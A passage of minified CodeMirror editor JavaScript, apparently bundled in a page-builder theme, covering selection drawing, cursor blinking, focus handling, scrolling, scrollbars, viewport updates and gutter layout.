Kn(t,tt(e,n),"div",s,o)}function h(e,n,o){var r=Zn(t,s,null,e),i="ltr"==n==("after"==o)?"left":"right",a="after"==o?r.begin:r.end-(/\s/.test(s.text.charAt(r.end-1))?2:1);return f(a,i)[i]}var m=de(s,i.direction);return function(e,t,n,o){if(!e)return o(t,n,"ltr",0);for(var r=!1,i=0;i<e.length;++i){var a=e[i];(a.from<n&&a.to>t||t==n&&a.to==t)&&(o(Math.max(a.from,t),Math.min(a.to,n),1==a.level?"rtl":"ltr",i),r=!0)}r||o(t,n,"ltr")}(m,n||0,null==o?p:o,function(e,t,i,s){var g="ltr"==i,v=f(e,g?"left":"right"),b=f(t-1,g?"right":"left"),y=null==n&&0==e,_=null==o&&t==p,k=0==s,w=!m||s==m.length-1;if(b.top-v.top<=3){var C=(c?y:_)&&k,E=(c?_:y)&&w,O=C?l:(g?v:b).left,S=E?u:(g?b:v).right;d(O,v.top,S-O,v.bottom)}else{var T,M,x,P;g?(T=c&&y&&k?l:v.left,M=c?u:h(e,i,"before"),x=c?l:h(t,i,"after"),P=c&&_&&w?u:b.right):(T=c?h(e,i,"before"):l,M=!c&&y&&k?u:v.right,x=!c&&_&&w?l:b.left,P=c?h(t,i,"after"):u),d(T,v.top,M-T,v.bottom),v.bottom<b.top&&d(l,v.bottom,null,b.top),d(x,b.top,P-x,b.bottom)}(!r||yo(v,r)<0)&&(r=v),yo(b,r)<0&&(r=b),(!a||yo(v,a)<0)&&(a=v),yo(b,a)<0&&(a=b)}),{start:r,end:a}}var f=n.from(),h=n.to();if(f.line==h.line)p(f.line,f.ch,h.ch);else{var m=Ke(i,f.line),g=Ke(i,h.line),v=Bt(m)==Bt(g),b=p(f.line,f.ch,v?m.text.length+1:null).end,y=p(h.line,v?0:null,h.ch).start;v&&(b.top<y.top-2?(d(b.right,b.top,null,b.bottom),d(l,y.top,y.left,y.bottom)):d(b.right,b.top,y.left-b.right,b.bottom)),b.bottom<y.top&&d(l,b.bottom,null,y.top)}o.appendChild(a)}function ko(e){if(e.state.focused){var t=e.display;clearInterval(t.blinker);var n=!0;t.cursorDiv.style.visibility="",e.options.cursorBlinkRate>0?t.blinker=setInterval(function(){e.hasFocus()||Oo(e),t.cursorDiv.style.visibility=(n=!n)?"":"hidden"},e.options.cursorBlinkRate):e.options.cursorBlinkRate<0&&(t.cursorDiv.style.visibility="hidden")}}function wo(e){e.state.focused||(e.display.input.focus(),Eo(e))}function Co(e){e.state.delayingBlurEvent=!0,setTimeout(function(){e.state.delayingBlurEvent&&(e.state.delayingBlurEvent=!1,Oo(e))},100)}function Eo(e,t){e.state.delayingBlurEvent&&(e.state.delayingBlurEvent=!1),"nocursor"!=e.options.readOnly&&(e.state.focused||(ge(e,"focus",e,t),e.state.focused=!0,D(e.display.wrapper,"CodeMirror-focused"),e.curOp||e.display.selForContextMenu==e.doc.sel||(e.display.input.reset(),u&&setTimeout(function(){return e.display.input.reset(!0)},20)),e.display.input.receivedFocus()),ko(e))}function Oo(e,t){e.state.delayingBlurEvent||(e.state.focused&&(ge(e,"blur",e,t),e.state.focused=!1,T(e.display.wrapper,"CodeMirror-focused")),clearInterval(e.display.blinker),setTimeout(function(){e.state.focused||(e.display.shift=!1)},150))}function So(e){for(var t=e.display,n=t.lineDiv.offsetTop,o=0;o<t.view.length;o++){var r=t.view[o],i=e.options.lineWrapping,a=void 0,u=0;if(!r.hidden){if(s&&l<8){var c=r.node.offsetTop+r.node.offsetHeight;a=c-n,n=c}else{var d=r.node.getBoundingClientRect();a=d.bottom-d.top,!i&&r.text.firstChild&&(u=r.text.firstChild.getBoundingClientRect().right-d.left-1)}var p=r.line.height-a;if((p>.005||p<-.005)&&(Ye(r.line,a),To(r.line),r.rest))for(var f=0;f<r.rest.length;f++)To(r.rest[f]);if(u>e.display.sizerWidth){var h=Math.ceil(u/oo(e.display));h>e.display.maxLineLength&&(e.display.maxLineLength=h,e.display.maxLine=r.line,e.display.maxLineChanged=!0)}}}}function To(e){if(e.widgets)for(var t=0;t<e.widgets.length;++t){var n=e.widgets[t],o=n.node.parentNode;o&&(n.height=o.offsetHeight)}}function Mo(e,t,n){var o=n&&null!=n.top?Math.max(0,n.top):e.scroller.scrollTop;o=Math.floor(o-En(e));var r=n&&null!=n.bottom?n.bottom:o+e.wrapper.clientHeight,i=Qe(t,o),a=Qe(t,r);if(n&&n.ensure){var s=n.ensure.from.line,l=n.ensure.to.line;s<i?(i=s,a=Qe(t,Ut(Ke(t,s))+e.wrapper.clientHeight)):Math.min(l,t.lastLine())>=a&&(i=Qe(t,Ut(Ke(t,l))-e.wrapper.clientHeight),a=l)}return{from:i,to:Math.max(a,i+1)}}function xo(e,t){var n=e.display,o=no(e.display);t.top<0&&(t.top=0);var r=e.curOp&&null!=e.curOp.scrollTop?e.curOp.scrollTop:n.scroller.scrollTop,i=xn(e),a={};t.bottom-t.top>i&&(t.bottom=t.top+i);var s=e.doc.height+On(n),l=t.top<o,u=t.bottom>s-o;if(t.top<r)a.scrollTop=l?0:t.top;else if(t.bottom>r+i){var c=Math.min(t.top,(u?s:t.bottom)-i);c!=r&&(a.scrollTop=c)}var d=e.options.fixedGutter?0:n.gutters.offsetWidth,p=e.curOp&&null!=e.curOp.scrollLeft?e.curOp.scrollLeft:n.scroller.scrollLeft-d,f=Mn(e)-n.gutters.offsetWidth,h=t.right-t.left>f;return h&&(t.right=t.left+f),t.left<10?a.scrollLeft=0:t.left<p?a.scrollLeft=Math.max(0,t.left+d-(h?0:10)):t.right>f+p-3&&(a.scrollLeft=t.right+(h?0:10)-f),a}function Po(e,t){null!=t&&(No(e),e.curOp.scrollTop=(null==e.curOp.scrollTop?e.doc.scrollTop:e.curOp.scrollTop)+t)}function jo(e){No(e);var t=e.getCursor();e.curOp.scrollToPos={from:t,to:t,margin:e.options.cursorScrollMargin}}function Lo(e,t,n){null==t&&null==n||No(e),null!=t&&(e.curOp.scrollLeft=t),null!=n&&(e.curOp.scrollTop=n)}function No(e){var t=e.curOp.scrollToPos;if(t){e.curOp.scrollToPos=null;var n=Xn(e,t.from),o=Xn(e,t.to);Do(e,n,o,t.margin)}}function Do(e,t,n,o){var r=xo(e,{left:Math.min(t.left,n.left),top:Math.min(t.top,n.top)-o,right:Math.max(t.right,n.right),bottom:Math.max(t.bottom,n.bottom)+o});Lo(e,r.scrollLeft,r.scrollTop)}function Ao(e,t){Math.abs(e.doc.scrollTop-t)<2||(o||sr(e,{top:t}),Fo(e,t,!0),o&&sr(e),nr(e,100))}function Fo(e,t,n){t=Math.max(0,Math.min(e.display.scroller.scrollHeight-e.display.scroller.clientHeight,t)),(e.display.scroller.scrollTop!=t||n)&&(e.doc.scrollTop=t,e.display.scrollbars.setScrollTop(t),e.display.scroller.scrollTop!=t&&(e.display.scroller.scrollTop=t))}function Io(e,t,n,o){t=Math.max(0,Math.min(t,e.display.scroller.scrollWidth-e.display.scroller.clientWidth)),(n?t==e.doc.scrollLeft:Math.abs(e.doc.scrollLeft-t)<2)&&!o||(e.doc.scrollLeft=t,cr(e),e.display.scroller.scrollLeft!=t&&(e.display.scroller.scrollLeft=t),e.display.scrollbars.setScrollLeft(t))}function Ro(e){var t=e.display,n=t.gutters.offsetWidth,o=Math.round(e.doc.height+On(e.display));return{clientHeight:t.scroller.clientHeight,viewHeight:t.wrapper.clientHeight,scrollWidth:t.scroller.scrollWidth,clientWidth:t.scroller.clientWidth,viewWidth:t.wrapper.clientWidth,barLeft:e.options.fixedGutter?n:0,docHeight:o,scrollHeight:o+Tn(e)+t.barHeight,nativeBarWidth:t.nativeBarWidth,gutterWidth:n}}var Bo=function(e,t,n){this.cm=n;var o=this.vert=P("div",[P("div",null,null,"min-width: 1px")],"CodeMirror-vscrollbar"),r=this.horiz=P("div",[P("div",null,null,"height: 100%; min-height: 1px")],"CodeMirror-hscrollbar");o.tabIndex=r.tabIndex=-1,e(o),e(r),fe(o,"scroll",function(){o.clientHeight&&t(o.scrollTop,"vertical")}),fe(r,"scroll",function(){r.clientWidth&&t(r.scrollLeft,"horizontal")}),this.checkedZeroWidth=!1,s&&l<8&&(this.horiz.style.minHeight=this.vert.style.minWidth="18px")};Bo.prototype.update=function(e){var t=e.scrollWidth>e.clientWidth+1,n=e.scrollHeight>e.clientHeight+1,o=e.nativeBarWidth;if(n){this.vert.style.display="block",this.vert.style.bottom=t?o+"px":"0";var r=e.viewHeight-(t?o:0);this.vert.firstChild.style.height=Math.max(0,e.scrollHeight-e.clientHeight+r)+"px"}else this.vert.style.display="",this.vert.firstChild.style.height="0";if(t){this.horiz.style.display="block",this.horiz.style.right=n?o+"px":"0",this.horiz.style.left=e.barLeft+"px";var i=e.viewWidth-e.barLeft-(n?o:0);this.horiz.firstChild.style.width=Math.max(0,e.scrollWidth-e.clientWidth+i)+"px"}else this.horiz.style.display="",this.horiz.firstChild.style.width="0";return!this.checkedZeroWidth&&e.clientHeight>0&&(0==o&&this.zeroWidthHack(),this.checkedZeroWidth=!0),{right:n?o:0,bottom:t?o:0}},Bo.prototype.setScrollLeft=function(e){this.horiz.scrollLeft!=e&&(this.horiz.scrollLeft=e),this.disableHoriz&&this.enableZeroWidthBar(this.horiz,this.disableHoriz,"horiz")},Bo.prototype.setScrollTop=function(e){this.vert.scrollTop!=e&&(this.vert.scrollTop=e),this.disableVert&&this.enableZeroWidthBar(this.vert,this.disableVert,"vert")},Bo.prototype.zeroWidthHack=function(){var e=y&&!h?"12px":"18px";this.horiz.style.height=this.vert.style.width=e,this.horiz.style.pointerEvents=this.vert.style.pointerEvents="none",this.disableHoriz=new W,this.disableVert=new W},Bo.prototype.enableZeroWidthBar=function(t,n,o){t.style.pointerEvents="auto",n.set(1e3,function r(){var i=t.getBoundingClientRect(),a="vert"==o?e.elementFromPoint(i.right-1,(i.top+i.bottom)/2):e.elementFromPoint((i.right+i.left)/2,i.bottom-1);a!=t?t.style.pointerEvents="none":n.set(1e3,r)})},Bo.prototype.clear=function(){var e=this.horiz.parentNode;e.removeChild(this.horiz),e.removeChild(this.vert)};var Wo=function(){};function Vo(e,t){t||(t=Ro(e));var n=e.display.barWidth,o=e.display.barHeight;Ho(e,t);for(var r=0;r<4&&n!=e.display.barWidth||o!=e.display.barHeight;r++)n!=e.display.barWidth&&e.options.lineWrapping&&So(e),Ho(e,Ro(e)),n=e.display.barWidth,o=e.display.barHeight}function Ho(e,t){var n=e.display,o=n.scrollbars.update(t);n.sizer.style.paddingRight=(n.barWidth=o.right)+"px",n.sizer.style.paddingBottom=(n.barHeight=o.bottom)+"px",n.heightForcer.style.borderBottom=o.bottom+"px solid transparent",o.right&&o.bottom?(n.scrollbarFiller.style.display="block",n.scrollbarFiller.style.height=o.bottom+"px",n.scrollbarFiller.style.width=o.right+"px"):n.scrollbarFiller.style.display="",o.bottom&&e.options.coverGutterNextToScrollbar&&e.options.fixedGutter?(n.gutterFiller.style.display="block",n.gutterFiller.style.height=o.bottom+"px",n.gutterFiller.style.width=t.gutterWidth+"px"):n.gutterFiller.style.display=""}Wo.prototype.update=function(){return{bottom:0,right:0}},Wo.prototype.setScrollLeft=function(){},Wo.prototype.setScrollTop=function(){},Wo.prototype.clear=function(){};var Go={native:Bo,null:Wo};function Uo(e){e.display.scrollbars&&(e.display.scrollbars.clear(),e.display.scrollbars.addClass&&T(e.display.wrapper,e.display.scrollbars.addClass)),e.display.scrollbars=new Go[e.options.scrollbarStyle](function(t){e.display.wrapper.insertBefore(t,e.display.scrollbarFiller),fe(t,"mousedown",function(){e.state.focused&&setTimeout(function(){return e.display.input.focus()},0)}),t.setAttribute("cm-not-content","true")},function(t,n){"horizontal"==n?Io(e,t):Ao(e,t)},e),e.display.scrollbars.addClass&&D(e.display.wrapper,e.display.scrollbars.addClass)}var zo=0;function qo(e){var t;e.curOp={cm:e,viewChanged:!1,startHeight:e.doc.height,forceUpdate:!1,updateInput:0,typing:!1,changeObjs:null,cursorActivityHandlers:null,cursorActivityCalled:0,selectionChanged:!1,updateMaxLine:!1,scrollLeft:null,scrollTop:null,scrollToPos:null,focus:!1,id:++zo},t=e.curOp,sn?sn.ops.push(t):t.ownsGroup=sn={ops:[t],delayedCallbacks:[]}}function Ko(e){var t=e.curOp;t&&function(e,t){var n=e.ownsGroup;if(n)try{!function(e){var t=e.delayedCallbacks,n=0;do{for(;n<t.length;n++)t[n].call(null);for(var o=0;o<e.ops.length;o++){var r=e.ops[o];if(r.cursorActivityHandlers)for(;r.cursorActivityCalled<r.cursorActivityHandlers.length;)r.cursorActivityHandlers[r.cursorActivityCalled++].call(null,r.cm)}}while(n<t.length)}(n)}finally{sn=null,t(n)}}(t,function(e){for(var t=0;t<e.ops.length;t++)e.ops[t].cm.curOp=null;!function(e){for(var t=e.ops,n=0;n<t.length;n++)$o(t[n]);for(var o=0;o<t.length;o++)(r=t[o]).updatedDisplay=r.mustUpdate&&ir(r.cm,r.update);for(var r,i=0;i<t.length;i++)Xo(t[i]);for(var a=0;a<t.length;a++)Yo(t[a]);for(var s=0;s<t.length;s++)Jo(t[s])}(e)})}function $o(e){var t=e.cm,n=t.display;!function(e){var t=e.display;!t.scrollbarsClipped&&t.scroller.offsetWidth&&(t.nativeBarWidth=t.scroller.offsetWidth-t.scroller.clientWidth,t.heightForcer.style.height=Tn(e)+"px",t.sizer.style.marginBottom=-t.nativeBarWidth+"px",t.sizer.style.borderRightWidth=Tn(e)+"px",t.scrollbarsClipped=!0)}(t),e.updateMaxLine&&qt(t),e.mustUpdate=e.viewChanged||e.forceUpdate||null!=e.scrollTop||e.scrollToPos&&(e.scrollToPos.from.line<n.viewFrom||e.scrollToPos.to.line>=n.viewTo)||n.maxLineChanged&&t.options.lineWrapping,e.update=e.mustUpdate&&new rr(t,e.mustUpdate&&{top:e.scrollTop,ensure:e.scrollToPos},e.forceUpdate)}function Xo(e){var t=e.cm,n=t.display;e.updatedDisplay&&So(t),e.barMeasure=Ro(t),n.maxLineChanged&&!t.options.lineWrapping&&(e.adjustWidthTo=jn(t,n.maxLine,n.maxLine.text.length).left+3,t.display.sizerWidth=e.adjustWidthTo,e.barMeasure.scrollWidth=Math.max(n.scroller.clientWidth,n.sizer.offsetLeft+e.adjustWidthTo+Tn(t)+t.display.barWidth),e.maxScrollLeft=Math.max(0,n.sizer.offsetLeft+e.adjustWidthTo-Mn(t))),(e.updatedDisplay||e.selectionChanged)&&(e.preparedSelection=n.input.prepareSelection())}function Yo(e){var t=e.cm;null!=e.adjustWidthTo&&(t.display.sizer.style.minWidth=e.adjustWidthTo+"px",e.maxScrollLeft<t.doc.scrollLeft&&Io(t,Math.min(t.display.scroller.scrollLeft,e.maxScrollLeft),!0),t.display.maxLineChanged=!1);var n=e.focus&&e.focus==N();e.preparedSelection&&t.display.input.showSelection(e.preparedSelection,n),(e.updatedDisplay||e.startHeight!=t.doc.height)&&Vo(t,e.barMeasure),e.updatedDisplay&&ur(t,e.barMeasure),e.selectionChanged&&ko(t),t.state.focused&&e.updateInput&&t.display.input.reset(e.typing),n&&wo(e.cm)}function Jo(t){var n=t.cm,o=n.display,r=n.doc;if(t.updatedDisplay&&ar(n,t.update),null==o.wheelStartX||null==t.scrollTop&&null==t.scrollLeft&&!t.scrollToPos||(o.wheelStartX=o.wheelStartY=null),null!=t.scrollTop&&Fo(n,t.scrollTop,t.forceScroll),null!=t.scrollLeft&&Io(n,t.scrollLeft,!0,!0),t.scrollToPos){var i=function(e,t,n,o){var r;null==o&&(o=0),e.options.lineWrapping||t!=n||(t=t.ch?tt(t.line,"before"==t.sticky?t.ch-1:t.ch,"after"):t,n="before"==t.sticky?tt(t.line,t.ch+1,"before"):t);for(var i=0;i<5;i++){var a=!1,s=$n(e,t),l=n&&n!=t?$n(e,n):s;r={left:Math.min(s.left,l.left),top:Math.min(s.top,l.top)-o,right:Math.max(s.left,l.left),bottom:Math.max(s.bottom,l.bottom)+o};var u=xo(e,r),c=e.doc.scrollTop,d=e.doc.scrollLeft;if(null!=u.scrollTop&&(Ao(e,u.scrollTop),Math.abs(e.doc.scrollTop-c)>1&&(a=!0)),null!=u.scrollLeft&&(Io(e,u.scrollLeft),Math.abs(e.doc.scrollLeft-d)>1&&(a=!0)),!a)break}return r}(n,lt(r,t.scrollToPos.from),lt(r,t.scrollToPos.to),t.scrollToPos.margin);!function(t,n){if(!ve(t,"scrollCursorIntoView")){var o=ET_Builder.Frames.top,r=t.display,i=r.sizer.getBoundingClientRect(),a=null;if(n.top+i.top<0?a=!0:n.bottom+i.top>(o.innerHeight||e.documentElement.clientHeight)&&(a=!1),null!=a&&!m){var s=P("div","\u200b",null,"position: absolute;\n top: "+(n.top-r.viewOffset-En(t.display))+"px;\n height: "+(n.bottom-n.top+Tn(t)+r.barHeight)+"px;\n left: "+n.left+"px; width: "+Math.max(2,n.right-n.left)+"px;");t.display.lineSpace.appendChild(s),s.scrollIntoView(a),t.display.lineSpace.removeChild(s)}}}(n,i)}var a=t.maybeHiddenMarkers,s=t.maybeUnhiddenMarkers;if(a)for(var l=0;l<a.length;++l)a[l].lines.length||ge(a[l],"hide");if(s)for(var u=0;u<s.length;++u)s[u].lines.length&&ge(s[u],"unhide");o.wrapper.offsetHeight&&(r.scrollTop=n.display.scroller.scrollTop),t.changeObjs&&ge(n,"changes",n,t.changeObjs),t.update&&t.update.finish()}function Qo(e,t){if(e.curOp)return t();qo(e);try{return t()}finally{Ko(e)}}function Zo(e,t){return function(){if(e.curOp)return t.apply(e,arguments);qo(e);try{return t.apply(e,arguments)}finally{Ko(e)}}}function er(e){return function(){if(this.curOp)return e.apply(this,arguments);qo(this);try{return e.apply(this,arguments)}finally{Ko(this)}}}function tr(e){return function(){var t=this.cm;if(!t||t.curOp)return e.apply(this,arguments);qo(t);try{return e.apply(this,arguments)}finally{Ko(t)}}}function nr(e,t){e.doc.highlightFrontier<e.display.viewTo&&e.state.highlight.set(t,I(or,e))}function or(e){var t=e.doc;if(!(t.highlightFrontier>=e.display.viewTo)){var n=+new Date+e.options.workTime,o=ht(e,t.highlightFrontier),r=[];t.iter(o.line,Math.min(t.first+t.size,e.display.viewTo+500),function(i){if(o.line>=e.display.viewFrom){var a=i.styles,s=i.text.length>e.options.maxHighlightLength?Ge(t.mode,o.state):null,l=pt(e,i,o,!0);s&&(o.state=s),i.styles=l.styles;var u=i.styleClasses,c=l.classes;c?i.styleClasses=c:u&&(i.styleClasses=null);for(var d=!a||a.length!=i.styles.length||u!=c&&(!u||!c||u.bgClass!=c.bgClass||u.textClass!=c.textClass),p=0;!d&&p<a.length;++p)d=a[p]!=i.styles[p];d&&r.push(o.line),i.stateAfter=o.save(),o.nextLine()}else i.text.length<=e.options.maxHighlightLength&&mt(e,i.text,o),i.stateAfter=o.line%5==0?o.save():null,o.nextLine();if(+new Date>n)return nr(e,e.options.workDelay),!0}),t.highlightFrontier=o.line,t.modeFrontier=Math.max(t.modeFrontier,o.line),r.length&&Qo(e,function(){for(var t=0;t<r.length;t++)po(e,r[t],"text")})}}var rr=function(e,t,n){var o=e.display;this.viewport=t,this.visible=Mo(o,e.doc,t),this.editorIsHidden=!o.wrapper.offsetWidth,this.wrapperHeight=o.wrapper.clientHeight,this.wrapperWidth=o.wrapper.clientWidth,this.oldDisplayWidth=Mn(e),this.force=n,this.dims=ro(e),this.events=[]};function ir(t,n){var o=t.display,r=t.doc;if(n.editorIsHidden)return fo(t),!1;if(!n.force&&n.visible.from>=o.viewFrom&&n.visible.to<=o.viewTo&&(null==o.updateLineNumbers||o.updateLineNumbers>=o.viewTo)&&o.renderedView==o.view&&0==mo(t))return!1;dr(t)&&(fo(t),n.dims=ro(t));var i=r.first+r.size,a=Math.max(n.visible.from-t.options.viewportMargin,r.first),s=Math.min(i,n.visible.to+t.options.viewportMargin);o.viewFrom<a&&a-o.viewFrom<20&&(a=Math.max(r.first,o.viewFrom)),o.viewTo>s&&o.viewTo-s<20&&(s=Math.min(i,o.viewTo)),Ct&&(a=Wt(t.doc,a),s=Vt(t.doc,s));var l=a!=o.viewFrom||s!=o.viewTo||o.lastWrapHeight!=n.wrapperHeight||o.lastWrapWidth!=n.wrapperWidth;!function(e,t,n){var o=e.display;0==o.view.length||t>=o.viewTo||n<=o.viewFrom?(o.view=an(e,t,n),o.viewFrom=t):(o.viewFrom>t?o.view=an(e,t,o.viewFrom).concat(o.view):o.viewFrom<t&&(o.view=o.view.slice(uo(e,t))),o.viewFrom=t,o.viewTo<n?o.view=o.view.concat(an(e,o.viewTo,n)):o.viewTo>n&&(o.view=o.view.slice(0,uo(e,n)))),o.viewTo=n}(t,a,s),o.viewOffset=Ut(Ke(t.doc,o.viewFrom)),t.display.mover.style.top=o.viewOffset+"px";var c=mo(t);if(!l&&0==c&&!n.force&&o.renderedView==o.view&&(null==o.updateLineNumbers||o.updateLineNumbers>=o.viewTo))return!1;var d=function(e){if(e.hasFocus())return null;var t=N();if(!t||!L(e.display.lineDiv,t))return null;var n={activeElt:t};if(window.getSelection){var o=window.getSelection();o.anchorNode&&o.extend&&L(e.display.lineDiv,o.anchorNode)&&(n.anchorNode=o.anchorNode,n.anchorOffset=o.anchorOffset,n.focusNode=o.focusNode,n.focusOffset=o.focusOffset)}return n}(t);return c>4&&(o.lineDiv.style.display="none"),function(t,n,o){var r=t.display,i=t.options.lineNumbers,a=r.lineDiv,s=a.firstChild;function l(e){var n=e.nextSibling;return u&&y&&t.display.currentWheelTarget==e?e.style.display="none":e.parentNode.removeChild(e),n}for(var c=r.view,d=r.viewFrom,p=0;p<c.length;p++){var f=c[p];if(f.hidden);else if(f.node&&f.node.parentNode==a){for(;s!=f.node;)s=l(s);var h=i&&null!=n&&n<=d&&f.lineNumber;f.changes&&(V(f.changes,"gutter")>-1&&(h=!1),dn(t,f,d,o)),h&&(M(f.lineNumber),f.lineNumber.appendChild(e.createTextNode(et(t.options,d)))),s=f.node.nextSibling}else{var m=bn(t,f,d,o);a.insertBefore(m,s)}d+=f.size}for(;s;)s=l(s)}(t,o.updateLineNumbers,n.dims),c>4&&(o.lineDiv.style.display=""),o.renderedView=o.view,function(t){if(t&&t.activeElt&&t.activeElt!=N()&&(t.activeElt.focus(),!/^(INPUT|TEXTAREA)$/.test(t.activeElt.nodeName)&&t.anchorNode&&L(e.body,t.anchorNode)&&L(e.body,t.focusNode))){var n=window.getSelection(),o=e.createRange();o.setEnd(t.anchorNode,t.anchorOffset),o.collapse(!1),n.removeAllRanges(),n.addRange(o),n.extend(t.focusNode,t.focusOffset)}}(d),M(o.cursorDiv),M(o.selectionDiv),o.gutters.style.height=o.sizer.style.minHeight=0,l&&(o.lastWrapHeight=n.wrapperHeight,o.lastWrapWidth=n.wrapperWidth,nr(t,400)),o.updateLineNumbers=null,!0}function ar(e,t){for(var n=t.viewport,o=!0;;o=!1){if(o&&e.options.lineWrapping&&t.oldDisplayWidth!=Mn(e))o&&(t.visible=Mo(e.display,e.doc,n));else if(n&&null!=n.top&&(n={top:Math.min(e.doc.height+On(e.display)-xn(e),n.top)}),t.visible=Mo(e.display,e.doc,n),t.visible.from>=e.display.viewFrom&&t.visible.to<=e.display.viewTo)break;if(!ir(e,t))break;So(e);var r=Ro(e);go(e),Vo(e,r),ur(e,r),t.force=!1}t.signal(e,"update",e),e.display.viewFrom==e.display.reportedViewFrom&&e.display.viewTo==e.display.reportedViewTo||(t.signal(e,"viewportChange",e,e.display.viewFrom,e.display.viewTo),e.display.reportedViewFrom=e.display.viewFrom,e.display.reportedViewTo=e.display.viewTo)}function sr(e,t){var n=new rr(e,t);if(ir(e,n)){So(e),ar(e,n);var o=Ro(e);go(e),Vo(e,o),ur(e,o),n.finish()}}function lr(e){var t=e.gutters.offsetWidth;e.sizer.style.marginLeft=t+"px"}function ur(e,t){e.display.sizer.style.minHeight=t.docHeight+"px",e.display.heightForcer.style.top=t.docHeight+"px",e.display.gutters.style.height=t.docHeight+e.display.barHeight+Tn(e)+"px"}function cr(e){var t=e.display,n=t.view;if(t.alignWidgets||t.gutters.firstChild&&e.options.fixedGutter){for(var o=io(t)-t.scroller.scrollLeft+e.doc.scrollLeft,r=t.gutters.offsetWidth,i=o+"px",a=0;a<n.length;a++)if(!n[a].hidden){e.options.fixedGutter&&(n[a].gutter&&(n[a].gutter.style.left=i),n[a].gutterBackground&&(n[a].gutterBackground.style.left=i));var s=n[a].alignable;if(s)for(var l=0;l<s.length;l++)s[l].style.left=i}e.options.fixedGutter&&(t.gutters.style.left=o+r+"px")}}function dr(e){if(!e.options.lineNumbers)return!1;var t=e.doc,n=et(e.options,t.first+t.size-1),o=e.display;if(n.length!=o.lineNumChars){var r=o.measure.appendChild(P("div",[P("div",n)],"CodeMirror-linenumber CodeMirror-gutter-elt")),i=r.firstChild.offsetWidth,a=r.offsetWidth-i;return o.lineGutter.style.width="",o.lineNumInnerWidth=Math.max(i,o.lineGutter.offsetWidth-a)+1,o.lineNumWidth=o.lineNumInnerWidth+a,o.lineNumChars=o.lineNumInnerWidth?n.length:-1,o.lineGutter.style.width=o.lineNumWidth+"px",lr(e.display),!0}return!1}function pr(e,t){for(var n=[],o=!1,r=0;r<e.length;r++){var i=e[r],a=null;if("string"!=typeof i&&(a=i.style,i=i.className),"CodeMirror-linenumbers"==i){if(!t)continue;o=!0}n.push({className:i,style:a})}return t&&!o&&n.push({className:"CodeMirror-linenumbers",style:null}),n}function fr(e){var t=e.gutters,n=e.gutterSpecs;M(t),e.lineGutter=null;for(var o=0;o<n.length;++o){var r=n[o],i=r.className,a=r.style,s=t.appendChild(P("div",null,"CodeMirror-gutter "+i));a&&(s.style.cssText=a),"CodeMirror-linenumbers"==i&&(e.lineGutter=s,s.style.width=(e.lineNumWidth||1)+"px")}t.style.display=n.length?"":"none",lr(e)}function hr(e){fr(e.display),co(e),cr(e)}function mr(e,t,n,r){var i=this;this.input=n,i.scrollbarFiller=P("div",null,"CodeMirror-scrollbar-filler"),i.scrollbarFiller.setAttribute("cm-not-content","true"),i.gutterFiller=P("div",null,"CodeMirror-gutter-filler"),i.gutterFiller.setAttribute("cm-not-content","true"),i.lineDiv=j("div",null,"CodeMirror-code"),i.selectionDiv=P("div",null,null,"position: relative; z-index: 1"),i.cursorDiv=P("div",null,"CodeMirror-cursors"),i.measure=P("div",null,"CodeMirror-measure"),i.lineMeasure=P("div",null,"CodeMirror-measure"),i.lineSpace=j("div",[i.measure,i.lineMeasure,i.selectionDiv,i.cursorDiv,i.lineDiv],null,"position: relative; outline: none");var a=j("div",[i.lineSpace],"CodeMirror-lines");i.mover=P("div",[a],null,"position: relative"),i.sizer=P("div",[i.mover],"CodeMirror-sizer"),i.sizerWidth=null,i.heightForcer=P("div",null,null,"position: absolute; height: "+H+"px; width: 1px;"),i.gutters=P("div",null,"CodeMirror-gutters"),i.lineGutter=null,i.scroller=P("div",[i.sizer,i.heightForcer,i.gutters],"CodeMirror-scroll"),i.scroller.setAttribute("tabIndex","-1"),i.wrapper=P("div",[i.scrollbarFiller,i.gutterFiller,i.scroller],"CodeMirror"),s&&l<8&&(i.gutters.style.zIndex=-1,i.scroller.style.paddingRight=0),u||o&&b||(i.scroller.draggable=!0),e&&(e.appendChild?e.appendChild(i.wrapper):e(i.wrapper)),i.viewFrom=i.viewTo=t.first,i.reportedViewFrom=i.reportedViewTo=t.first,i.view=[],i.renderedView=null,i.externalMeasured=null,i.viewOffset=0,i.lastWrapHeight=i.lastWrapWidth=0,i.updateLineNumbers=null,i.nativeBarWidth=i.barHeight=i.barWidth=0,i.scrollbarsClipped=!1,i.lineNumWidth=i.lineNumInnerWidth=i.lineNumChars=null,i.alignWidgets=!1,i.cachedCharWidth=i.cachedTextHeight=i.cachedPaddingH=null,i.maxLine=null,i.maxLineLength=0,i.maxLineChanged=!1,i.wheelDX=i.wheelDY=i.wheelStartX=i.wheelStartY=null,i.shift=!1,i.selForContextMenu=null,i.activeTouch=null,i.gutterSpecs=pr(r.gutters,r.lineNumbers),fr(i),n.init(i)}rr.prototype.signal=function(e,t){ye(e,t)&&this.events.push(arguments)},rr.prototype.finish=function(){for(var e=0;e<this.events.length;e++)ge.apply(null,this.events[e])};var gr=0,vr=null;function br(e){var t=e.wheelDeltaX,n=e.wheelDeltaY;return null==t&&e.detail&&e.axis==e.HORIZONTAL_AXIS&&(t=e.detail),null==n&&e.detail&&e.axis==e.VERTICAL_AXIS?n=e.detail:null==n&&(n=e.wheelDelta),{x:t,y:n}}function yr(e){var t=br(e);return t.x*=vr,t.y*=vr,t}function _r(e,t){var n=br(t),r=n.x,i=n.y,a=e.display,s=a.scroller,l=s.scrollWidth>s.clientWidth,c=s.scrollHeight>s.clientHeight;if(r&&l||i&&c){if(i&&y&&u)e:for(var d=t.target,f=a.view;d!=s;d=d.parentNode)for(var h=0;h<f.length;h++)if(f[h].node==d){e.display.currentWheelTarget=d;break e}if(r&&!o&&!p&&null!=vr)return i&&c&&Ao(e,Math.max(0,s.scrollTop+i*vr)),Io(e,Math.max(0,s.scrollLeft+r*vr)),(!i||i&&c)&&ke(t),void(a.wheelStartX=null);if(i&&null!=vr){var m=i*vr,g=e.doc.scrollTop,v=g+a.wrapper.clientHeight;m<0?g=Math.max(0,g+m-50):v=Math.min(e.doc.height,v+m+50),sr(e,{top:g,bottom:v})}gr<20&&(null==a.wheelStartX?(a.wheelStartX=s.scrollLeft,a.wheelStartY=s.scrollTop,a.wheelDX=r,a.wheelDY=i,setTimeout(function(){if(null!=a.wheelStartX){var 